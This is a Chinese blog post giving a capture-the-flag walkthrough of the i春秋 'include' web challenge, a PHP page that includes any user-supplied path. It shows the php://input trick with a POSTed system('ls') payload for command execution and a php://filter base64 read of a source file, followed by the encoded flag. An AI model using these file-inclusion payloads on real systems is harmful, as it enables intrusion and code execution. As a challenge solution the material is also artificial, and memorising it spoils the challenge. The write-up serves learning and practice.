

i春秋 CTF慢慢爬行之路（1）

原创

drejun 于 2018-05-23 14:48:49 发布 488 收藏

分类专栏: CTF

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/drejun/article/details/80419667>

版权



[CTF 专栏收录该内容](#)

2 篇文章 0 订阅

订阅专栏

“百度杯”CTF比赛 2017 二月场

类型: Web 题目名称: include

```
<?php
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}
```

System	Linux 3f72f0da876d 3.10.0-327.36.3.el7.x86_64 #1 SMP Mon Oct 24 18:09:20 UTC 2016 x86_64
Build Date	Dec 13 2016 00:04:38
Configure Command	/home/buildozer/aports/main/php5/src/php-5.6.29/configure '--build=x86_64-alpine-linux-musl' '--host=x86_64-alpine-linux-musl' '--prefix=/usr' '--sysconfdir=/etc/php5' '--localstatedir=/var' '--with-layout=GNU' '--with-config-file-path=/etc/php5' '--with-config-file-scandir=/etc/php5/conf.d' '--enable-inline-optimization' '--disable-debug' '--disable-path' '--disable-static' '--enable-shared' '--mandir=/usr/share/man' '--with-pic' '--disable-cli' '--with-apxs2' '--enable-bcmath=shared' '--with-bz2=shared' '--enable-calendar=shared' '--with-cdb' '--enable-ctype=shared' '--with-curl=shared' '--enable-dba=shared' '--with-dba=shared' '--enable-dom=shared' '--with-enchant=shared' '--enable-ffi=shared' '--with-ffmpeg-dir=shared' '--with-ftp=shared' '--with-gd=shared' '--enable-gd-native-ttf' '--with-gd=shared' '--with-gettext=shared' '--with-

刚进来只看到一个PHP页面和部分PHP代码, 看看提示内容, 文件包含漏洞。

不多说, 用火狐hackbar直接构造:

? path=php://input

post内容: <?php echo system('ls');?>

会爆出具体的有哪些文件。

再通过?path=php://filter/read=convert.base64-encode/resource=dle345aae.php

查看dle345aae.php文件中有些什么东西

浏览器地址栏: c6907b1dc2c640788b654f93399e406b9ad91f4d94d443f4.game.ichunqiu.com/?path=php://filter/read=convert.base64-encode/resource=dle345aae.php

```
<?php
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}
```

PD9waHAgCiRmbGFuPSJmbGFne2E5MTRkOD1mLTNhNGEtdm1Mi05NzljLWZkZThkOTEyN2Q2NHoiOwo=

<https://blog.csdn.net/drejun>

得到一个字符串, 由后面的“=”可以判断是Base64编码, 通过Base64解码就能拿到flag